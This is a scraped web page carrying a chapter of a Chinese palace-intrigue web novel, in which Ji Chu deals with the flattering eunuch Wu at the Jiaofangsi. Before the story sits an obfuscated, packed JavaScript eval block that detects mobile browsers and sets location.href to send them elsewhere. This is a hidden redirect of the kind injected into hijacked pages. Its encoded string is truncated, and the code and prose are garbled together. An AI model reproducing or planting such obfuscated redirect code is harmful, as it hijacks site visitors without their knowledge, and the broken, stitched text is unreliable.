;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306200|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的甬道。 回到教坊司,吴副总管早已在廊下等候多时,一见季褚身影,立刻堆着满脸谄媚快步迎上。 “奴婢见过少保! 奴婢已经重新收拾好了房间,还请少保移步歇息。” 嘴上说着恭敬,可那双迫切想要进步的眼神,属实太过炽热。 “有劳吴公公了。”季褚淡淡应了一声。 “都是奴婢应该做的!往后少保的事,就是奴婢的头等大事,但凡有用得着奴婢的地方,您尽管开口!” 季褚也是哭笑不得,自己当时随口那么一说,没想到对方竟然当真了。 可刚刚面圣的场面,他还真的不好开口请功。 毕竟,出了这档子事,事关皇家颜面,他老吴和那队侍卫能不能活过今晚尚未可知。 他开口请功,那不是纯粹找不痛快么! 季褚故作随意的问道:“老吴啊,这教坊司难道不好吗?而且老总管年纪大了,平时都是你主事,这差事多美啊?” 有吃有喝,美女多多……额,他是太监,似乎待在一个美女如云的地方,还真不怎么好。 吴副总管脸上的笑容一收,叹了口气,“大人有所不知,咱们这些无根之人……” “咳,你是你,我是我,不能混为一谈。” “瞧奴婢这张臭嘴。”吴副总管反应极快,抬手啪啪”给了自己两个轻嘴,又立刻堆起笑,一脸委屈地讨好道,“大人啊,教坊司虽好,可没半点上升的路子,我们这些无根之人,要想出人头地,还是得跟对主子。 都是副总管太监,可奴婢在刘喜刘吉他们面前,就是低人一等,抬不起头……” “懂了。”季褚点点头,“你老吴是个明事理的人,以后前途不可限量。” 反正说好话又不要钱,说呗。 如果明天他还活着,到时候自己再拉他一把也不迟。 听了这话,吴副总管甭提有多高兴了,迎着季褚来到一个宽敞房间,小声道:“大人,奴婢瞧那舞姬之中好几个跳的不好,若是大人不累,不妨选几个,带到房间里亲自教导一番?” 季褚面皮一抽,好你个老吴,拿这个考验干部是吧,哪个干部经不住这样的考验? 再说了,你把我季某人当什么了? “咳,天也不早了,明日再说不迟。” “喏,那奴婢就不打扰大人休息了。” 季褚摆摆手,送走吴总管,立马把门关好,然后从袖口取出的那张带着花香的纸条。